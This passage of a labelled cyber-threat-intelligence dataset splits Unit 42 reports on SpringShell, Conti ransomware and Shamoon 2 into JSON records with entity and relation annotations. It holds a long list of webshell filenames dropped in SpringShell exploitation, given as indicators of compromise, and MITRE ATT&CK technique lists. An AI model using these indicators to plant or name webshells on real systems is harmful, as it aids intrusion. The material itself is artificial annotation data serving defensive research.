2022.","entities":[{"id":47567,"label":"FILEPATH","start_offset":190,"end_offset":231},{"id":47568,"label":"vulnerability","start_offset":268,"end_offset":282},{"id":47570,"label":"vulnerability","start_offset":233,"end_offset":244},{"id":47566,"label":"FILEPATH","start_offset":113,"end_offset":189},{"id":47569,"label":"TIME","start_offset":314,"end_offset":328},{"id":47571,"label":"attack-pattern","start_offset":47,"end_offset":55}],"relations":[{"id":337,"from_id":47570,"to_id":47568,"type":"related-to"},{"id":339,"from_id":47570,"to_id":47567,"type":"consists-of"},{"id":340,"from_id":47570,"to_id":47566,"type":"consists-of"}],"Comments":[]} +{"id":2489,"text":"Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale.","entities":[{"id":47572,"label":"vulnerability","start_offset":137,"end_offset":148}],"relations":[],"Comments":[]} +{"id":2490,"text":"Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.","entities":[{"id":45538,"label":"SOFTWARE","start_offset":60,"end_offset":65},{"id":45539,"label":"SOFTWARE","start_offset":74,"end_offset":90}],"relations":[],"Comments":[]} +{"id":2491,"text":" While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.","entities":[{"id":47575,"label":"vulnerability","start_offset":101,"end_offset":112},{"id":47573,"label":"vulnerability","start_offset":7,"end_offset":21},{"id":47574,"label":"SOFTWARE","start_offset":54,"end_offset":66}],"relations":[{"id":341,"from_id":47574,"to_id":47573,"type":"has"}],"Comments":[]} +{"id":2492,"text":"Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.","entities":[{"id":7440,"label":"identity","start_offset":0,"end_offset":7},{"id":47576,"label":"SOFTWARE","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]} +{"id":2493,"text":" Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.","entities":[{"id":45540,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} +{"id":2494,"text":" The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.","entities":[{"id":47577,"label":"identity","start_offset":5,"end_offset":55},{"id":47578,"label":"vulnerability","start_offset":70,"end_offset":84},{"id":47580,"label":"identity","start_offset":118,"end_offset":136},{"id":47579,"label":"vulnerability","start_offset":89,"end_offset":103}],"relations":[],"Comments":[]} +{"id":2495,"text":" Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability. Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.","entities":[{"id":47583,"label":"vulnerability","start_offset":208,"end_offset":222},{"id":47582,"label":"SOFTWARE","start_offset":144,"end_offset":175},{"id":47581,"label":"SOFTWARE","start_offset":2,"end_offset":69},{"id":47584,"label":"vulnerability","start_offset":227,"end_offset":241}],"relations":[],"Comments":[]} +{"id":2496,"text":"Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules.","entities":[{"id":47587,"label":"vulnerability","start_offset":159,"end_offset":173},{"id":47585,"label":"SOFTWARE","start_offset":0,"end_offset":45},{"id":47588,"label":"SOFTWARE","start_offset":184,"end_offset":211},{"id":47590,"label":"vulnerability","start_offset":313,"end_offset":327},{"id":47591,"label":"SOFTWARE","start_offset":337,"end_offset":344},{"id":47593,"label":"SOFTWARE","start_offset":365,"end_offset":392},{"id":47586,"label":"SOFTWARE","start_offset":126,"end_offset":131},{"id":47589,"label":"vulnerability","start_offset":294,"end_offset":308},{"id":47592,"label":"SOFTWARE","start_offset":349,"end_offset":354}],"relations":[{"id":342,"from_id":47587,"to_id":47588,"type":"related-to"}],"Comments":[]} +{"id":2497,"text":"Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs.","entities":[{"id":47598,"label":"vulnerability","start_offset":206,"end_offset":256},{"id":47599,"label":"vulnerability","start_offset":112,"end_offset":199},{"id":47594,"label":"SOFTWARE","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]} +{"id":2498,"text":"Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.","entities":[{"id":47600,"label":"attack-pattern","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]} +{"id":2499,"text":" Palo Alto Networks Cortex XSOAR customers can leverage the \"Spring Core and Cloud Function SpEL RCEs\" pack to automatically detect and mitigate the vulnerabilities.","entities":[{"id":47597,"label":"vulnerability","start_offset":61,"end_offset":101},{"id":47596,"label":"SOFTWARE","start_offset":1,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2500,"text":"Read more on the XSOAR marketplace.","entities":[{"id":47601,"label":"SOFTWARE","start_offset":17,"end_offset":22}],"relations":[],"Comments":[]} +{"id":2501,"text":"Prisma Cloud Mitigations for SpringShell and Recent Spring Vulnerabilities: CVE-2022-22963, CVE-2022-22965 How Cortex XDR Blocks SpringShell Exploits 0808a56a90ca2f8b1e91a1e60b7b451e.txt 0c901fefcae46ba984225aa72df0825c.txt 1532b681733b6bce2ff7252d8890d550.txt 28fcea06661f13ebe9c87327f949f3a8.txt 2b98432e352ff74569b81099dd5ee246.txt 4acbedbe977480d19b7b682d4878cae2.txt 4fdd6fbd220e26b63a7c9a5aa88f5f31.txt 5657e4634210a3d47a789d1389a89320.txt 646bbc2c112070c26b3c042e81c6947e.txt 70b98d30e383df910ce3d693603404fb.txt 73be7d1ef52c3dbc9a5d726288d8a4ba.txt 83d81ef47f0e9a205fb66a100f3179bf.txt 8592f3e430720d324d7cfd7ecd1de521.txt 8697f146477832389449cf2548032ca7.txt Shell.jsp UJaez.jsp Y4kws.jsp a6bfc76094f689dab978f059ea2456a1.txt aniwvzgvwqnwtehgsfsgbslwoiqkjk.jsp appli12 baf24e5f9fc18cf58172d1ba745f0f7a.txt c41fc8f359d1658559c2d1c0043c76fb.txt cbsewlaeqsdsqktavziakyzsuwfciu.jsp czbwzitpzjzkcvkrirybzihsibmuej.jsp czpdnhpraxgzrtatiuigsalfedwwit.jsp dnuurzjtlbjrnuukwdmaltqrqqlaig.jsp duvdqpoyrcapqbfcetgwsqxfkslubw.jsp ee947d98b91c8ada08f8c15e8f3248fc.txt efdde87c66fe4e6dc73a2ab6111ca58a.txt facb4be5385617bf11e6d67f0aa0203b.txt ggoibjvztvlpelaghjzeweqmopjosz.jsp goocmasqxwfufyxrgyachwidxdotkh.jsp hlbpgpqsyracfnvkgrgvlhcptpmdfn.jsp hmmyitbecwhmrdicykmfvqlcsknbff.jsp hnmqeuzumlokxuhqyekeetrgougeof.jsp ilvckpgzbrcdljyqdfhqendqcwhgxp.jsp izodfyvqujwztweclykgozahdlqvqp.jsp jynrrkjghebemkrhvfzllrepzosinb.jsp kqbnngrfnsxlreajyknuimoamysvwt.jsp ltcovlwqkckjpuzbqzbjdpkgkakvno.jsp mhoqqvpuxdqtuqzmwdrvdeayqvlygb.jsp osanxuadyvjaiorcjfqnckfpewunnt.jsp ptipfhjosfvrfwndwqccapozcbasge.jsp pxwcqxzrstepmbwufjxuaydkwgmvds.jsp qnzfvqpeiljtoyvrywrkuvkrmuewzn.jsp rQFlA.jsp rmdwahilztwhhqnmcbodkgtbnmrhjx.jsp tomcat74935.jsp ubekdurthzexowlohzgienbwvexynd.jsp ufoubgkazumxhqvwlnyfejnmyqofcm.jsp ujpmauuhltvsokjracgwkbflkhhnwo.jsp vkmckfvljtpbyowxwhgbjsvyktfdiq.jsp xcoihpiouaamtnbqqvcvffyxyrokvn.jsp yjjhhdlxepozhirznemjabnsciycvv.jsp yutugdqbrossntwaujgxwgrpgczkbd.jsp zawpiupzzsjexllfbicrgvlcuxzqyb.jsp zqgwtzyrexctiyvsawmwttncwzoyyd.jsp zuvuegtemzfsyqjfykowggxpqkuqdp.jsp 0xd0m7.jsp crashed_log_","entities":[{"id":47623,"label":"FILEPATH","start_offset":669,"end_offset":678},{"id":47602,"label":"vulnerability","start_offset":76,"end_offset":90},{"id":47603,"label":"vulnerability","start_offset":92,"end_offset":106},{"id":47604,"label":"SOFTWARE","start_offset":0,"end_offset":12},{"id":47605,"label":"vulnerability","start_offset":29,"end_offset":40},{"id":47608,"label":"vulnerability","start_offset":129,"end_offset":149},{"id":47609,"label":"FILEPATH","start_offset":151,"end_offset":187},{"id":47610,"label":"FILEPATH","start_offset":188,"end_offset":224},{"id":47611,"label":"FILEPATH","start_offset":225,"end_offset":261},{"id":47606,"label":"SOFTWARE","start_offset":52,"end_offset":58},{"id":47607,"label":"SOFTWARE","start_offset":111,"end_offset":121},{"id":47619,"label":"FILEPATH","start_offset":521,"end_offset":557},{"id":47620,"label":"FILEPATH","start_offset":558,"end_offset":594},{"id":47621,"label":"FILEPATH","start_offset":595,"end_offset":631},{"id":47622,"label":"FILEPATH","start_offset":632,"end_offset":668},{"id":47624,"label":"FILEPATH","start_offset":679,"end_offset":688},{"id":47625,"label":"FILEPATH","start_offset":689,"end_offset":698},{"id":47626,"label":"FILEPATH","start_offset":699,"end_offset":735},{"id":47627,"label":"FILEPATH","start_offset":736,"end_offset":770},{"id":47628,"label":"FILEPATH","start_offset":779,"end_offset":815},{"id":47629,"label":"FILEPATH","start_offset":816,"end_offset":852},{"id":47630,"label":"FILEPATH","start_offset":853,"end_offset":887},{"id":47631,"label":"FILEPATH","start_offset":888,"end_offset":922},{"id":47633,"label":"FILEPATH","start_offset":958,"end_offset":992},{"id":47612,"label":"FILEPATH","start_offset":262,"end_offset":298},{"id":47613,"label":"FILEPATH","start_offset":299,"end_offset":335},{"id":47614,"label":"FILEPATH","start_offset":336,"end_offset":371},{"id":47615,"label":"FILEPATH","start_offset":373,"end_offset":409},{"id":47616,"label":"FILEPATH","start_offset":410,"end_offset":446},{"id":47617,"label":"FILEPATH","start_offset":447,"end_offset":483},{"id":47618,"label":"FILEPATH","start_offset":484,"end_offset":520},{"id":47632,"label":"FILEPATH","start_offset":923,"end_offset":957},{"id":47634,"label":"FILEPATH","start_offset":993,"end_offset":1027},{"id":47635,"label":"FILEPATH","start_offset":1028,"end_offset":1064},{"id":47637,"label":"FILEPATH","start_offset":1065,"end_offset":1101},{"id":47638,"label":"FILEPATH","start_offset":1102,"end_offset":1138},{"id":47645,"label":"FILEPATH","start_offset":1349,"end_offset":1383},{"id":47650,"label":"FILEPATH","start_offset":1524,"end_offset":1558},{"id":47652,"label":"FILEPATH","start_offset":1559,"end_offset":1593},{"id":47653,"label":"FILEPATH","start_offset":1594,"end_offset":1628},{"id":47639,"label":"FILEPATH","start_offset":1139,"end_offset":1173},{"id":47640,"label":"FILEPATH","start_offset":1174,"end_offset":1208},{"id":47641,"label":"FILEPATH","start_offset":1209,"end_offset":1243},{"id":47642,"label":"FILEPATH","start_offset":1244,"end_offset":1278},{"id":47643,"label":"FILEPATH","start_offset":1279,"end_offset":1313},{"id":47646,"label":"FILEPATH","start_offset":1384,"end_offset":1418},{"id":47647,"label":"FILEPATH","start_offset":1419,"end_offset":1453},{"id":47648,"label":"FILEPATH","start_offset":1454,"end_offset":1488},{"id":47649,"label":"FILEPATH","start_offset":1489,"end_offset":1523},{"id":47657,"label":"FILEPATH","start_offset":1709,"end_offset":1724},{"id":47658,"label":"FILEPATH","start_offset":1725,"end_offset":1759},{"id":47659,"label":"FILEPATH","start_offset":1760,"end_offset":1794},{"id":47644,"label":"FILEPATH","start_offset":1314,"end_offset":1348},{"id":47654,"label":"FILEPATH","start_offset":1629,"end_offset":1663},{"id":47655,"label":"FILEPATH","start_offset":1664,"end_offset":1673},{"id":47656,"label":"FILEPATH","start_offset":1674,"end_offset":1708},{"id":47660,"label":"FILEPATH","start_offset":1795,"end_offset":1829},{"id":47661,"label":"FILEPATH","start_offset":1830,"end_offset":1864},{"id":47662,"label":"FILEPATH","start_offset":1865,"end_offset":1899},{"id":47663,"label":"FILEPATH","start_offset":1900,"end_offset":1934},{"id":47664,"label":"FILEPATH","start_offset":1935,"end_offset":1969},{"id":47665,"label":"FILEPATH","start_offset":1970,"end_offset":2004},{"id":47666,"label":"FILEPATH","start_offset":2005,"end_offset":2039},{"id":47667,"label":"FILEPATH","start_offset":2040,"end_offset":2074},{"id":47668,"label":"FILEPATH","start_offset":2075,"end_offset":2085},{"id":47669,"label":"FILEPATH","start_offset":2086,"end_offset":2098}],"relations":[],"Comments":[]} +{"id":2502,"text":"gdGCT.jsp","entities":[{"id":45552,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":2503,"text":"myshell.jsp","entities":[{"id":47670,"label":"FILEPATH","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2504,"text":"rakesh.jsp","entities":[{"id":47673,"label":"FILEPATH","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2505,"text":"shei1.jsp","entities":[{"id":45553,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":2506,"text":"shell13.jsp","entities":[{"id":47674,"label":"FILEPATH","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2507,"text":"tomcatlogin.jsp","entities":[{"id":47676,"label":"FILEPATH","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]} +{"id":2508,"text":"data_theorem_spring4shell_scan.txt","entities":[{"id":45555,"label":"FILEPATH","start_offset":0,"end_offset":34}],"relations":[],"Comments":[]} +{"id":2509,"text":"jarom_h1.jsp","entities":[{"id":47677,"label":"FILEPATH","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2510,"text":"jquery123123123cssbackup7331.jsp tomjj.jsp test1.jsp hackerone0x.jsp inject.jsp poc4bugb.jsp curiositysec.jsp mynameis0bsecure.jsp tomcatwa.jsp ahmed.txt testqqsg.jsp wpz.jsp lelel.jsp shell.jsp 07935fdf05b66.jsp vulntest-12345.txt jquerycssv2.js poc.jsp tomcatspring.jsp ofc.jsp lalalalal.jsp safetytest.txt log.txt safetytest javatestfila.jsp checkexploit.jsp tomcatwar.jsp Updated April 19, 2022, at 7:30 a.m. PT. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[{"id":47693,"label":"FILEPATH","start_offset":185,"end_offset":194},{"id":47678,"label":"FILEPATH","start_offset":0,"end_offset":32},{"id":47683,"label":"FILEPATH","start_offset":80,"end_offset":92},{"id":47685,"label":"FILEPATH","start_offset":93,"end_offset":109},{"id":47700,"label":"FILEPATH","start_offset":280,"end_offset":293},{"id":47704,"label":"FILEPATH","start_offset":328,"end_offset":344},{"id":47705,"label":"FILEPATH","start_offset":345,"end_offset":361},{"id":47706,"label":"FILEPATH","start_offset":362,"end_offset":375},{"id":47708,"label":"TIME","start_offset":377,"end_offset":416},{"id":47679,"label":"FILEPATH","start_offset":33,"end_offset":42},{"id":47680,"label":"FILEPATH","start_offset":43,"end_offset":52},{"id":47681,"label":"FILEPATH","start_offset":53,"end_offset":68},{"id":47682,"label":"FILEPATH","start_offset":69,"end_offset":79},{"id":47686,"label":"FILEPATH","start_offset":110,"end_offset":130},{"id":47687,"label":"FILEPATH","start_offset":131,"end_offset":143},{"id":47688,"label":"FILEPATH","start_offset":144,"end_offset":152},{"id":47689,"label":"FILEPATH","start_offset":154,"end_offset":166},{"id":47690,"label":"FILEPATH","start_offset":167,"end_offset":174},{"id":47694,"label":"FILEPATH","start_offset":195,"end_offset":212},{"id":47695,"label":"FILEPATH","start_offset":213,"end_offset":231},{"id":47692,"label":"FILEPATH","start_offset":175,"end_offset":184},{"id":47697,"label":"FILEPATH","start_offset":247,"end_offset":254},{"id":47696,"label":"FILEPATH","start_offset":232,"end_offset":246},{"id":47698,"label":"FILEPATH","start_offset":255,"end_offset":271},{"id":47699,"label":"FILEPATH","start_offset":272,"end_offset":279},{"id":47702,"label":"FILEPATH","start_offset":294,"end_offset":308},{"id":47703,"label":"FILEPATH","start_offset":309,"end_offset":316}],"relations":[],"Comments":[]} +{"id":2511,"text":"This post is also available in: 日本語 (Japanese) Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow.","entities":[{"id":45556,"label":"threat-actor","start_offset":53,"end_offset":69}],"relations":[],"Comments":[]} +{"id":2512,"text":"The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.","entities":[],"relations":[],"Comments":[]} +{"id":2513,"text":"Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system – prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.","entities":[{"id":47709,"label":"location","start_offset":0,"end_offset":7},{"id":47710,"label":"TIME","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]} +{"id":2514,"text":" Conti also stands out as unreliable.","entities":[{"id":45557,"label":"threat-actor","start_offset":1,"end_offset":6}],"relations":[],"Comments":[]} +{"id":2515,"text":"We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.","entities":[],"relations":[],"Comments":[]} +{"id":2516,"text":" The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.","entities":[{"id":47712,"label":"threat-actor","start_offset":23,"end_offset":28},{"id":47713,"label":"location","start_offset":133,"end_offset":137},{"id":47711,"label":"identity","start_offset":5,"end_offset":8}],"relations":[{"id":343,"from_id":47712,"to_id":47713,"type":"targets"}],"Comments":[]} +{"id":2517,"text":"This makes Conti one of the greediest groups out there.","entities":[{"id":45558,"label":"threat-actor","start_offset":11,"end_offset":16}],"relations":[],"Comments":[]} +{"id":2518,"text":" If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.","entities":[{"id":7555,"label":"EMAIL","start_offset":55,"end_offset":97},{"id":47714,"label":"identity","start_offset":146,"end_offset":176}],"relations":[],"Comments":[]} +{"id":2519,"text":" We’ve followed Conti for more than a year through our work helping organizations respond to ransomware attacks.","entities":[{"id":47715,"label":"threat-actor","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2520,"text":"It appears to be one of many private cybercrime groups that have set up their operations by leveraging the booming ransomware-as-a-service (RaaS) ecosystem.","entities":[],"relations":[],"Comments":[]} +{"id":2521,"text":"Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.","entities":[{"id":47716,"label":"attack-pattern","start_offset":69,"end_offset":86}],"relations":[],"Comments":[]} +{"id":2522,"text":"They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers.","entities":[],"relations":[],"Comments":[]} +{"id":2523,"text":"Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it’s achieved, such as through the use of Cobalt Strike or PowerShell.","entities":[{"id":47719,"label":"attack-pattern","start_offset":171,"end_offset":212},{"id":47717,"label":"attack-pattern","start_offset":94,"end_offset":109},{"id":47718,"label":"attack-pattern","start_offset":114,"end_offset":165},{"id":47720,"label":"tools","start_offset":328,"end_offset":341},{"id":47721,"label":"tools","start_offset":345,"end_offset":355}],"relations":[],"Comments":[]} +{"id":2524,"text":" These approaches are not particularly clever or sophisticated, but often they are effective.","entities":[],"relations":[],"Comments":[]} +{"id":2525,"text":"Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using.","entities":[{"id":47722,"label":"threat-actor","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} +{"id":2526,"text":"When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met. But Conti’s methods do have atypical elements.","entities":[{"id":47723,"label":"threat-actor","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]} +{"id":2527,"text":" Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims.","entities":[],"relations":[],"Comments":[]} +{"id":2528,"text":"They want to establish stellar reputations for “customer service” and for delivering on what they promise – that if you pay a ransom, your files will be decrypted (and they will not appear on a leak website).","entities":[],"relations":[],"Comments":[]} +{"id":2529,"text":"Yet in our experience helping clients remediate attacks, Conti has not demonstrated any signs that it cares about its reputation with would-be victims.","entities":[{"id":45562,"label":"threat-actor","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2530,"text":" In one recent case, Conti did not return a client’s files who had paid the ransom.","entities":[{"id":47724,"label":"threat-actor","start_offset":21,"end_offset":26}],"relations":[],"Comments":[]} +{"id":2531,"text":"This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web.","entities":[{"id":47725,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]} +{"id":2532,"text":"In another case, our client needed an inventory of all files accessed, so that they could notify parties whose data was affected.","entities":[],"relations":[],"Comments":[]} +{"id":2533,"text":"Conti agreed to share that information if a payment was made, then changed their minds, saying, “We do not own that data anymore.","entities":[],"relations":[],"Comments":[]} +{"id":2534,"text":"It was deleted and there is no chance to restore it.”","entities":[],"relations":[],"Comments":[]} +{"id":2535,"text":"Like many ransomware gangs, Conti is constantly adapting to changes, including recent heightened scrutiny by law enforcement and policy makers following high-profile disruptive attacks on the Colonial pipeline and healthcare organizations.","entities":[{"id":47726,"label":"threat-actor","start_offset":28,"end_offset":33},{"id":47727,"label":"identity","start_offset":192,"end_offset":209}],"relations":[],"Comments":[]} +{"id":2536,"text":"When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key.","entities":[{"id":47728,"label":"location","start_offset":5,"end_offset":12},{"id":47729,"label":"attack-pattern","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2537,"text":"But there was a twist: The group maintained that it would still make good on its \"double extortion\" threat to publish stolen data on its leak site.","entities":[],"relations":[],"Comments":[]} +{"id":2538,"text":" Unfortunately, keeping Conti out of your network often isn’t simple.","entities":[{"id":45565,"label":"threat-actor","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]} +{"id":2539,"text":"A primary means of infection appears to be through phishing scams, and attackers are constantly upping their game in this area.","entities":[{"id":47730,"label":"attack-pattern","start_offset":51,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2540,"text":"While phishing emails used to be pretty easy for almost anyone to spot, particularly after some awareness training, we are seeing increasingly sophisticated attacks in which the threat actors have done plenty of homework on their intended victims.","entities":[{"id":47731,"label":"attack-pattern","start_offset":6,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2541,"text":"Sometimes they’ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network. Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds.","entities":[{"id":47733,"label":"attack-pattern","start_offset":34,"end_offset":45}],"relations":[],"Comments":[]} +{"id":2542,"text":"Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.","entities":[],"relations":[],"Comments":[]} +{"id":2543,"text":" Palo Alto Networks detects and prevents Conti ransomware in the following ways: Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.","entities":[{"id":47735,"label":"threat-actor","start_offset":41,"end_offset":46},{"id":47734,"label":"identity","start_offset":1,"end_offset":19},{"id":47737,"label":"SOFTWARE","start_offset":167,"end_offset":173},{"id":47738,"label":"SOFTWARE","start_offset":206,"end_offset":213},{"id":47736,"label":"threat-actor","start_offset":144,"end_offset":149}],"relations":[],"Comments":[]} +{"id":2544,"text":" Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001] Windows Command Shell [T1059.003], Native API [T1106] Deobfuscate\/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001] File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049] SMB\/Windows Admin Shares [T1021.002], Taint Shared Content [T1080] Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489] Table 1.","entities":[{"id":45576,"label":"attack-pattern","start_offset":82,"end_offset":115},{"id":45577,"label":"attack-pattern","start_offset":117,"end_offset":135},{"id":45579,"label":"attack-pattern","start_offset":186,"end_offset":225},{"id":45580,"label":"attack-pattern","start_offset":227,"end_offset":269},{"id":45584,"label":"attack-pattern","start_offset":369,"end_offset":415},{"id":45586,"label":"attack-pattern","start_offset":463,"end_offset":499},{"id":45575,"label":"attack-pattern","start_offset":44,"end_offset":80},{"id":45587,"label":"attack-pattern","start_offset":501,"end_offset":529},{"id":45590,"label":"attack-pattern","start_offset":599,"end_offset":619},{"id":45574,"label":"attack-pattern","start_offset":1,"end_offset":42},{"id":45585,"label":"attack-pattern","start_offset":417,"end_offset":461},{"id":45578,"label":"attack-pattern","start_offset":137,"end_offset":184},{"id":45581,"label":"attack-pattern","start_offset":271,"end_offset":307},{"id":45582,"label":"attack-pattern","start_offset":309,"end_offset":340},{"id":45583,"label":"attack-pattern","start_offset":342,"end_offset":367},{"id":45588,"label":"attack-pattern","start_offset":531,"end_offset":564},{"id":45589,"label":"attack-pattern","start_offset":566,"end_offset":597}],"relations":[],"Comments":[]} +{"id":2545,"text":"Courses of Action for Conti ransomware.","entities":[{"id":7672,"label":"threat-actor","start_offset":22,"end_offset":27}],"relations":[],"Comments":[]} +{"id":2546,"text":" †These capabilities are part of the NGFW security subscriptions service.","entities":[],"relations":[],"Comments":[]} +{"id":2547,"text":" * These analytic detectors will trigger automatically for Cortex XDR Pro customers.","entities":[{"id":45591,"label":"SOFTWARE","start_offset":59,"end_offset":73}],"relations":[],"Comments":[]} +{"id":2548,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2549,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2550,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2551,"text":"Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.","entities":[{"id":47739,"label":"identity","start_offset":0,"end_offset":7},{"id":47740,"label":"threat-actor","start_offset":44,"end_offset":53},{"id":47741,"label":"TIME","start_offset":76,"end_offset":89}],"relations":[],"Comments":[]} +{"id":2552,"text":"To date, Shamoon 2 has unfolded in three separate attack waves on November 11, 2016, November 29, 2016, and January 23, 2017.","entities":[{"id":47742,"label":"TIME","start_offset":0,"end_offset":7},{"id":47743,"label":"threat-actor","start_offset":9,"end_offset":18},{"id":47744,"label":"TIME","start_offset":66,"end_offset":83},{"id":47745,"label":"TIME","start_offset":85,"end_offset":102},{"id":47746,"label":"TIME","start_offset":108,"end_offset":124}],"relations":[],"Comments":[]} +{"id":2553,"text":" Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely?","entities":[{"id":47747,"label":"threat-actor","start_offset":103,"end_offset":112}],"relations":[],"Comments":[]} +{"id":2554,"text":"The answer is simple: credential theft.","entities":[{"id":47748,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]} +{"id":2555,"text":" Credential theft has been known to be a key part of the Shamoon 2 attacks.","entities":[{"id":47749,"label":"attack-pattern","start_offset":1,"end_offset":17},{"id":47750,"label":"threat-actor","start_offset":57,"end_offset":66}],"relations":[{"id":348,"from_id":47750,"to_id":47749,"type":"uses"}],"Comments":[]} +{"id":2556,"text":"What our research is showing that’s new is how the attackers use the credentials once they’ve breached the network.","entities":[],"relations":[],"Comments":[]} +{"id":2557,"text":" And from this we can see how credential theft is the keystone of Shamoon 2 attacks; if an organization can prevent credential theft, the Shamoon 2 attacks can’t succeed.","entities":[{"id":47751,"label":"attack-pattern","start_offset":30,"end_offset":46},{"id":47753,"label":"attack-pattern","start_offset":116,"end_offset":132},{"id":47752,"label":"threat-actor","start_offset":66,"end_offset":75},{"id":47754,"label":"threat-actor","start_offset":138,"end_offset":147}],"relations":[{"id":346,"from_id":47752,"to_id":47751,"type":"uses"},{"id":347,"from_id":47754,"to_id":47753,"type":"uses"}],"Comments":[]} +{"id":2558,"text":" In our research, we’re able to outline that Shamoon 2 enters and spreads through an organization in three stages: These stages are outlined in the image below. And that credential theft is a key element in each stage: It’s also worth noting that credentials are a keystone issue in Shamoon 2 wave 2 too: we saw evidence of targeting an organization’s virtual desktop infrastructure (VDI) solutions with default credentials.","entities":[{"id":47755,"label":"threat-actor","start_offset":45,"end_offset":54},{"id":47758,"label":"campaign","start_offset":286,"end_offset":302},{"id":47756,"label":"attack-pattern","start_offset":172,"end_offset":188}],"relations":[{"id":349,"from_id":47758,"to_id":47756,"type":"uses"}],"Comments":[]} +{"id":2559,"text":"While not stolen credentials, the effect is the same: attackers can use those credentials to abuse otherwise legitimate access and privileges to carry out their attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2560,"text":" At this time, we do not have research that explains definitively how the Shamoon 2 attackers have obtained these 